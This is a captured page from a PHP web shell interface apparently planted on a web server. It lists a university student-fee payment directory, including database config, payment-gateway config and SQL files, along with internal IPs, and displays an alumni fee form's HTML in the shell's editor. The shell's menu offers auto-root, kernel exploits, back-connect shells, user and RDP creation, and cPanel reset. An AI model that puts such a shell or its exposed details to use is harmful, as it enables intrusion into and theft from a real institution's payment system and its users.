Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
temppayment /
pg /
studentsfee /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
bower_components
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
dist
[ DIR ]
drwxr-xr-x
import-csv
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
mailer
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
razorpay-php
[ DIR ]
drwxr-xr-x
studentsDoc
[ DIR ]
drwxr-xr-x
alumni.html
10.51
KB
-rw-r--r--
alumnifee.html
16.5
KB
-rw-r--r--
changePassword.html
9.43
KB
-rw-r--r--
changePassword.php
4.82
KB
-rw-r--r--
class.user-o1.php
4.51
KB
-rw-r--r--
class.user.php
4.7
KB
-rw-r--r--
class.user.php_13102019
2.85
KB
-rw-r--r--
common-nn.php
4.69
KB
-rw-r--r--
common-o1.php
5.37
KB
-rw-r--r--
common-oldankit06022023.php
13.54
KB
-rw-r--r--
common.php
21.55
KB
-rw-r--r--
common.php_13102019
3.31
KB
-rw-r--r--
common.php_old
1.42
KB
-rw-r--r--
commonHostel.php
5.81
KB
-rw-r--r--
confirmPage.html
11.75
KB
-rw-r--r--
dashboard-bkpupto05mar2022.php
5.95
KB
-rw-r--r--
dashboard-o1.php
7.11
KB
-rw-r--r--
dashboard.php
21.95
KB
-rw-r--r--
dashboard.php_13102019
2.72
KB
-rw-r--r--
dbconfig.php
1.2
KB
-rw-r--r--
emailVerify.php
2.67
KB
-rw-r--r--
error_log
680
B
-rw-r--r--
exportHostelFee.php
1.3
KB
-rw-r--r--
exportTutionFee.php
1.36
KB
-rw-r--r--
forgotPassword.html
3.23
KB
-rw-r--r--
forgotPassword.php
5.28
KB
-rw-r--r--
fpass.php
3.07
KB
-rw-r--r--
hThanksMailNew.php
11.61
KB
-rw-r--r--
hdfc-pg-confirm.php
3.66
KB
-rw-r--r--
hdfc-pg-pay.php
3.71
KB
-rw-r--r--
hdfc-pg-response.php
2.38
KB
-rw-r--r--
hdfcpaymentgateway.jpg
8.3
KB
-rw-r--r--
hostelFee-hdfcpg.php
18.65
KB
-rw-r--r--
hostelFee.html
13.81
KB
-rw-r--r--
hostelFee.php
19.36
KB
-rw-r--r--
hostelFeeNew.php
35.71
KB
-rw-r--r--
hostelFeePayment-razor.php
10.03
KB
-rw-r--r--
hostelFeePayment.php
8.63
KB
-rw-r--r--
hostelFeePaymentNew.php
11.71
KB
-rw-r--r--
hostelFee_old1.php
17.51
KB
-rw-r--r--
hostelfee.sql
2.32
KB
-rw-r--r--
hostelfee_audit.sql
3.06
KB
-rw-r--r--
hpaymentstatus.sql
1.65
KB
-rw-r--r--
hthanksmail.php
10.45
KB
-rw-r--r--
hverify.php
12.13
KB
-rw-r--r--
index--.html
406
B
-rw-r--r--
index-bkp14721.php
8.87
KB
-rw-r--r--
index-msg.php
2.06
KB
-rw-r--r--
index.php
12.67
KB
-rw-r--r--
index.php_13102019
4.37
KB
-rw-r--r--
index11221.php
9.53
KB
-rw-r--r--
invoice-apr21.php
8.86
KB
-rw-r--r--
invoice-hostelfeedec23.php
8.96
KB
-rw-r--r--
invoice-hostelfeejan24.php
9.04
KB
-rw-r--r--
invoice-hostelfeem2324aug23.ph...
8.95
KB
-rw-r--r--
invoice-hostelfeesbapr24.php
9.02
KB
-rw-r--r--
invoice-july20.php
7.86
KB
-rw-r--r--
invoice-july21.php
7.86
KB
-rw-r--r--
invoice-m22july22.php
9.13
KB
-rw-r--r--
invoice-m23june23.php
9.13
KB
-rw-r--r--
invoice-m24june24.php
9.11
KB
-rw-r--r--
invoice-msep21.php
8.8
KB
-rw-r--r--
invoice-mtechf22.php
8.39
KB
-rw-r--r--
invoice-nov20.php
7.88
KB
-rw-r--r--
invoice-o1.php
7.36
KB
-rw-r--r--
invoice-w22mar22.php
9.34
KB
-rw-r--r--
invoice-w22nov21.php
9.44
KB
-rw-r--r--
invoice-w23dec22.php
9.12
KB
-rw-r--r--
invoice-w24dec23.php
9.12
KB
-rw-r--r--
invoice.html
11.6
KB
-rw-r--r--
invoice.php
7.87
KB
-rw-r--r--
invoiceHostel-new.php
6.18
KB
-rw-r--r--
invoiceHostel.php
7.2
KB
-rw-r--r--
logout.php
668
B
-rw-r--r--
page-top.php
5.94
KB
-rw-r--r--
policyterms.html
6.67
KB
-rw-r--r--
populate_data.php
1.28
KB
-rw-r--r--
populate_data.php_04112019
746
B
-rw-r--r--
printInvoice.html
9.73
KB
-rw-r--r--
razor-config.php
390
B
-rw-r--r--
razor-pay.php
5.25
KB
-rw-r--r--
receipts-apr21.php
4.38
KB
-rw-r--r--
receipts-hostelfee-new.php
2.68
KB
-rw-r--r--
receipts-hostelfee.php
3
KB
-rw-r--r--
receipts-hostelfeedec23.php
3.65
KB
-rw-r--r--
receipts-hostelfeejan24.php
3.65
KB
-rw-r--r--
receipts-hostelfeem2324aug23.p...
3.66
KB
-rw-r--r--
receipts-hostelfeesbapr24.php
3.65
KB
-rw-r--r--
receipts-july20.php
3.66
KB
-rw-r--r--
receipts-july21.php
3.65
KB
-rw-r--r--
receipts-m22july22.php
4.86
KB
-rw-r--r--
receipts-m23june23.php
4.86
KB
-rw-r--r--
receipts-m24june24.php
4.85
KB
-rw-r--r--
receipts-msep21.php
4.39
KB
-rw-r--r--
receipts-mtechf22.php
3.64
KB
-rw-r--r--
receipts-nov20.php
3.65
KB
-rw-r--r--
receipts-w22mar22.php
4.42
KB
-rw-r--r--
receipts-w22nov21.php
4.82
KB
-rw-r--r--
receipts-w23dec22.php
4.86
KB
-rw-r--r--
receipts-w24dec23.php
4.86
KB
-rw-r--r--
register-o1.php
6.96
KB
-rw-r--r--
register.php
8.18
KB
-rw-r--r--
resetpass.php
5.25
KB
-rw-r--r--
statusapi.php
3.51
KB
-rw-r--r--
studentsfee.sql
15.16
KB
-rw-r--r--
thanksmail------.php
10.81
KB
-rw-r--r--
thanksmail.php
11.41
KB
-rw-r--r--
tutionFee-bkpupto532022.php
37.62
KB
-rw-r--r--
tutionFee-o1.php
23.58
KB
-rw-r--r--
tutionFee.html
13.19
KB
-rw-r--r--
tutionFee.php
42.64
KB
-rw-r--r--
tutionFee.php_04112019
21.87
KB
-rw-r--r--
tutionFee.php_1112019
21.34
KB
-rw-r--r--
tutionFee.php_13102019
16.39
KB
-rw-r--r--
tutionFee.php_23102019
17.39
KB
-rw-r--r--
tutionFee.php_23112019
23.29
KB
-rw-r--r--
tutionFee.php_25102019
19.29
KB
-rw-r--r--
tutionFee.php_25112019
20.39
KB
-rw-r--r--
tutionFee.php_old
8.26
KB
-rw-r--r--
tutionFeePayment-------.php
9.3
KB
-rw-r--r--
tutionFeePayment-nn.php
10.7
KB
-rw-r--r--
tutionFeePayment-o1.php
9.33
KB
-rw-r--r--
tutionFeePayment.php
11.59
KB
-rw-r--r--
tutionfeebkp-local.php
20.4
KB
-rw-r--r--
tutionfeepayment-bkp8721.php
10.7
KB
-rw-r--r--
updateBatchFee-o1.php
7.3
KB
-rw-r--r--
updateBatchFee.php
7.3
KB
-rw-r--r--
verify-bkp.php
7.58
KB
-rw-r--r--
verify.php
12.3
KB
-rw-r--r--
verifyhostelfeerazor-old.php
12.21
KB
-rw-r--r--
verifyhostelfeerazor.php
12.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : alumnifee.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <link rel="shortcut icon" href="http://iiitd.ac.in/sites/default/files/images/site/favicon.ico" type="image/x-icon" /> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>IIIT Delhi - Alumni Fee Payment Portal</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <script src="http://code.jquery.com/jquery-1.4.2.js"></script> <link rel="stylesheet" href="style/forms.css"> <!--<link href="https://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.no-icons.min.css" rel="stylesheet"> --> <link href="https://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css" rel="stylesheet"> <style type="text/css"> html { overflow-Y: scroll; } body { font: 10px normal Arial, Helvetica, sans-serif; margin: 0; padding: 0; line-height: 1.7em; } *, * focus { outline: none; margin: 0; padding: 0; } .container { width: 75%; margin: 0 auto; } h1 { font: 4em normal Georgia, 'Times New Roman', Times, serif; text-align:center; padding: 20px 0; color: #aaa; } h1 span { color: #666; } h1 small{ font: 0.3em normal Verdana, Arial, Helvetica, sans-serif; text-transform:uppercase; letter-spacing: 0.5em; display: block; color: #666; } h2.acc_trigger { padding: 0; margin: 0 0 1px 0; background: url(h2_trigger_a.gif); height: 46px; line-height: 46px; font-size: 2em; font-weight: normal; } h2.acc_trigger a { text-decoration: none; background:#59575c; color:#FFF; display: block; } h2.acc_trigger a:hover { color: #ccc; } h2.active {background-position: left bottom;} .acc_container { margin: 0 0 5px; padding: 0; overflow: hidden; font-size: 1.2em; clear: both; background: #f0f0f0; border: 1px solid #d6d6d6; -webkit-border-bottom-right-radius: 5px; -webkit-border-bottom-left-radius: 5px; -moz-border-radius-bottomright: 5px; -moz-border-radius-bottomleft: 5px; border-bottom-right-radius: 5px; border-bottom-left-radius: 5px; } .acc_container .block { padding: 20px; } .acc_container .block p { padding: 5px 0; margin: 5px 0; } .acc_container h3 { font: 2.5em normal Georgia, "Times New Roman", Times, serif; margin: 0 0 10px; padding: 0 0 5px 0; border-bottom: 1px dashed #ccc; } .acc_container img { float: left; margin: 10px 15px 15px 0; padding: 5px; background: #ddd; border: 1px solid #ccc; } /* CSS For Pop up Ad*/ #mask { position:absolute; left:0; top:0; z-index:9000; background-color:#000; display:none; } #boxes .window { position:absolute; left:0; top:0; width:440px; height:200px; display:none; z-index:9999; padding:20px; border-radius: 15px; text-align: center; } #boxes #dialog { width:450px; height:auto; padding:10px; background-color:#ffffff; font-family: 'Segoe UI Light', sans-serif; font-size: 15pt; } .maintext{ text-align: center; font-family: "Segoe UI", sans-serif; text-decoration: none; } #lorem{ font-family: "Segoe UI", sans-serif; font-size: 12pt; text-align: left; } #popupfoot{ font-family: "Segoe UI", sans-serif; font-size: 16pt; padding: 10px 20px; } #popupfoot a{ text-decoration: none; } .agree:hover{ background-color: #D1D1D1; } .popupoption:hover{ background-color:#D1D1D1; color: green; } .popupoption2:hover{ color: red; } /* end CSS For Pop up Ads */ td { font-size:18px !important; border:1px !important; padding:5px !important; } </style> <script> function issinglequotecheckpinc() { if (document.getElementById('pinc').value.indexOf("'") != -1) { alert("Single quote is not allowed in any field"); document.getElementById('pinc').value=""; return false; } } function issinglequotecheckmnr() { if (document.getElementById('mnr').value.indexOf("'") != -1) { alert("Single quote is not allowed in any field"); document.getElementById('mnr').value=""; return false; } } function issinglequotecheckgadd() { if (document.getElementById('gadd').value.indexOf("'") != -1) { alert("Single quote is not allowed in any field"); document.getElementById('gadd').value=""; return false; } } function issinglequotecheckem() { if (document.getElementById('em').value.indexOf("'") != -1) { alert("Single quote is not allowed in any field"); document.getElementById('em').value=""; return false; } } function issinglequotechecknm() { if (document.getElementById('nm').value.indexOf("'") != -1) { alert("Single quote is not allowed in any field"); document.getElementById('nm').value=""; return false; } } var enroll_no = document.forms["mispay"]['enroll_no']; var candidate_type = document.forms["mispay"]['candidate_type']; var semester = document.forms["mispay"]['semester']; var course = document.forms["mispay"]['course']; var tution_fee = document.forms["mispay"]['tution_fee']; var campus_maintain_fee = document.forms["mispay"]['campus_maintain_fee']; var hostel_fee = document.forms["mispay"]['hostel_fee']; var mess_fee = document.forms["mispay"]['mess_fee']; var caution_fee = document.forms["mispay"]['caution_fee']; var hostel_security_fee = document.forms["mispay"]['hostel_security_fee']; var fine = document.forms["mispay"]['fine']; var other = document.forms["mispay"]['other']; function MisvalidateForm(){ var x = document.forms["mispay"]["name"].value; if (x == null || x == "") { alert("Name must be filled out"); document.mispay.name.focus(); return false; } var regex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; var x = document.forms["mispay"]["email"].value; if (x == null || x == "") { alert("Email Id must be filled out"); /*document.getElementById("email").focus();*/ document.mispay.email.focus(); return false; } else if(!regex.test(mispay.elements['email'].value)) { alert("Invalid email address format"); document.mispay.email.focus(); return false; } var x = document.forms["mispay"]["gaddress"].value; if (x == null || x == "") { alert("Address must be filled out"); document.mispay.gaddress.focus(); return false; } var x = document.forms["mispay"]["gpin"].value; if (x == null || x == "") { alert("Pin must be filled out"); document.mispay.gpin.focus(); return false; } var x = document.forms["mispay"]["phone"].value; if (x.length < 10) { alert("Number Must be filled out of 10 digits only."); document.mispay.phone.focus(); return false; } var x = document.forms["mispay"]["amount"].value; if (x == null || x == "" || x == "0") { alert("Total Amount cannot be 0."); document.mispay.amount.focus(); return false; } //var gpurpose = document.getElementsByName('gpurpose'); var gpurpose = document.forms["mispay"]['gpurpose'].value; if (gpurpose=="0"){ alert("Please choose purpose of Payment"); return false; }else if(gpurpose=="Academic Fee") { c_type = document.forms["mispay"]['candidate_type'].value; if(c_type=="0"){ alert("Select your Candidate Type."); return false; } x = document.forms["mispay"]['candidate_type'].value; if(x=="0"){ alert("Select your Candidate Type."); return false; } x = document.forms["mispay"]['course'].value; if(x=="0"){ alert("Select your Course."); return false; } x = document.forms["mispay"]['semester'].value; if(x=="0"){ alert("Select your Semester."); return false; } x = parseFloat(document.forms["mispay"]['amount'].value); type = document.forms["mispay"]['candidate_type'].value; if(type == "indian") if(x>280000){ alert("Please make sure you enter correct fee details in INR. It must not be greater than 2 Lakhs Eighty Thousands Rs."); return false; } if(type == "foreign") if(x>4000){ alert("Please make sure you enter correct fee details in USD. It must not be greater than $4000"); return false; } } if(gpurpose=="Other") { x = document.forms["mispay"]['curother'].value; if(x=="0"){ alert("Select Currency for payment."); return false; } } if(!document.forms["mispay"]['termsofpayment'].checked) { alert('You must agree to the terms of payment.'); return false; } return true; } function checkNumber(num){ //var reg = /^[+-]?([0-9]*[.])?[0-9]+$/; var numberReSnippet = "(?:NaN|-?(?:(?:\\d+|\\d*\\.\\d+)(?:[E|e][+|-]?\\d+)?|Infinity))"; var reg = new RegExp("^("+ numberReSnippet + ")$"); if(reg.test(num)) return false else return true } function checkACheckbox(gpurpose){ var ischecked_method = false; for ( var i = 0; i < gpurpose.length; i++) { if(gpurpose[i].checked) { ischecked_method = true; break; } } if(!ischecked_method) { //payment purpose button is not checked alert("Please choose purpose of Payment"); return false; } return true; } function isNumber(evt) { evt = (evt) ? evt : window.event; var charCode = (evt.which) ? evt.which : evt.keyCode; if (charCode > 31 && (charCode < 46 || charCode > 57 || charCode == 47)) { return false; } return true; } </script> </head> <body bgcolor="#3fada8"> <div class="container" align="center"><br /> <!-----------added by ankit - ------------> <div align="center"><img src="logo.png" align="absmiddle"><br /><br /> <form name='mispay' action='#' method='post' encType='multipart/form-data' class="sky-form"> <header>IIIT Delhi Alumni Fee Payment Portal</header> <fieldset> <section> <label class="input"> <i class="icon-append icon-user"></i> <input type="text" placeholder="Name" required name="name" id="nm" onblur="return issinglequotechecknm()"> <b class="tooltip tooltip-bottom-right">Enter your full name.</b> </label> </section> <section> <label class="input"> <i class="icon-append icon-envelope-alt"></i> <input type="Email" placeholder="Email address" name="email" id="em" onblur="return issinglequotecheckem()" required > <b class="tooltip tooltip-bottom-right">Needed to verify your account</b> </label> </section> <section> <label class="input"> <i class="icon-append icon-map-marker"></i> <input type="text" placeholder="Address" name="gaddress" id="gadd" onblur="return issinglequotecheckgadd()" required> <b class="tooltip tooltip-bottom-right">Only latin characters and numbers</b> </label> </section> <section> <label class="input"> <i class="icon-append icon-lock"></i> <!--<input type="text" placeholder="Pincode" name="gpin" maxlength="6" onKeyPress="return isNumber(event)"> --> <input type="text" placeholder="Pincode" name="gpin" maxlength="6" id="pinc" onblur="return issinglequotecheckpinc()"> <!--<b class="tooltip tooltip-bottom-right">Only numbers</b> --> </label> </section> <section> <label class="input"> <i class="icon-append icon-mobile-phone"></i> <input type="text" placeholder="Mobile Number" name="phone" id="mnr" maxlength="10" onKeyPress="return isNumber(event)" onblur="return issinglequotecheckmnr()" > <b class="tooltip tooltip-bottom-right">Only numbers</b> </label> </section> <section> <label class="select"> <!--<select name="gpurpose" onchange="purposeCheck()" id="gpurpose" onblur="if(form.gpurpose.value = 'Retrace 2019 Registration Fees') form.amount.value = eval('1000.00')" required> --> <select name="gpurpose" onchange="purposeCheck()" required> <option value="0" selected disabled>Select Payment Purpose</option> </select> </label> </section> </fieldset> <fieldset> <section> <label class="input"> <p><strong>You can pay any USD payment in INR through current exchange rate as per FBIL: <a href="https://www.fbil.org.in/#/home" target="_blank">https://www.fbil.org.in/#/home</a></strong></p><br/> <span id="total_amount">Total Amount (INR)</span> <input type="text" placeholder="Total Amount" name="amount" id="amount" maxlength="10" value="0" onKeyPress="return isNumber(event)"> <b class="tooltip tooltip-bottom-right">Only numbers</b><!--<i class="icon-append icon-inr"></i> --> </label> </section> </fieldset> <!--<p><strong>*Note: Prefer to use Razorpay Payment Gateway for any payment.</strong></p> --> <section> <input type="radio" name="pgate" checked="checked" value="Razorpay" /> <img src="images/razorpay-thumb2.jpg" width="200" style="vertical-align:middle;" /> <!--<input type="radio" name="pgate" value="HDFC" /> <img src="https://paymentgateways.org.in/images/gateways/hdfcbank.jpg" width="200" style="vertical-align:middle;" /> --> </section> </fieldset> <footer> <input type="checkbox" name="termsofpayment"/><span style="color:#000000; font-weight:bold;"> I agree to the <a href="https://www.iiitd.ac.in/admission/fees/terms" target="_blank">Terms</a> of Payment.</span><br/> <label><span style="color:#000000; font-weight:bold;">* Additional Charges on International Credit Cards: 2.5 % (per transaction) + GST.<br/> * Additional Charges on Credit Cards/ Domestic Debit Cards : 1 % (per transaction) + GST.<br/></span></label> <center><label class="submit"><input type="submit" class="button" name="gsubmit" onClick="return MisvalidateForm()" value="Pay Now" style="font-weight:bold; float:none !important;"/></label></center> </footer> <script> function enableUSD(){ document.forms["mispay"]['currency'].value = "USD"; document.forms["mispay"]['account_id'].value = "22400"; document.forms["mispay"]['reference_no'].value = "1490088739"; } </script> <input name="channel" type="hidden" value="10"/> <input name="bank_code" type="hidden" value=""/> <input name="currency" id="currency" type="hidden" value="INR"/> <!--<input name="display_currency" type="hidden" value="INR"/> --> <input name="display_currency_rates" type="hidden" value="1"/> <input name="payment_mode" type="hidden" value=""/> <input name="payment_option" type="hidden" value=""/> <input name="account_id" type="hidden" value="22400"/> <input name="reference_no" type="hidden" value="1490088739" /> <input name="description" type="hidden" value="IIITD Alumni Fee payment" /> <!--<input name="mode" type="hidden" value="LIVE"/>--> <input name="mode" type="hidden" value="Test" /> <input name="address" type="hidden" value="IIIT-Delhi, Okhla Phase3" /> <input name="city" type="hidden" value="Delhi" /> <input name="postal_code" type="hidden" value="110020" /> <input name="country" type="hidden" value="IND" /> <!--<input name="phone" type="hidden" value="2211112222" /> --> <input name="return_url" type="hidden" size="60" value="https://payments.iiitd.edu.in/pg/studentsfee/thanks.php" /> <input name="ship_address" type="hidden" value=""/> <input name="ship_city" type="hidden" value=""/> <input name="ship_country" type="hidden" value=""/> <input name="ship_name" type="hidden" value=""/> <input name="ship_phone" type="hidden" value=""/> <input name="ship_postal_code" type="hidden" value=""/> <input name="ship_state" type="hidden" value=""/> <input name="state" type="hidden" value=""/> </form> <br/><br/> </div> </div> <script type="text/javascript"> function change(obj){ } $("[class^=someSwitchOptionWarning] input[type=checkbox], [class^=someSwitchOptionWarning] input[name=amount]").on("change keyup",function(){ var sum = 0; $("[class^=someSwitchOptionWarning] input[type=checkbox]:checked").map(function() { sum += parseInt($(this).val()) }).get(); sum += parseInt($("[class^=someSwitchOptionWarning] input[name=amount11]").val().length == 0 ? 0 : $("[class^=someSwitchOptionWarning] input[name=amount11]").val()) $("#amount").val(sum) }) </script> </body></html>
Close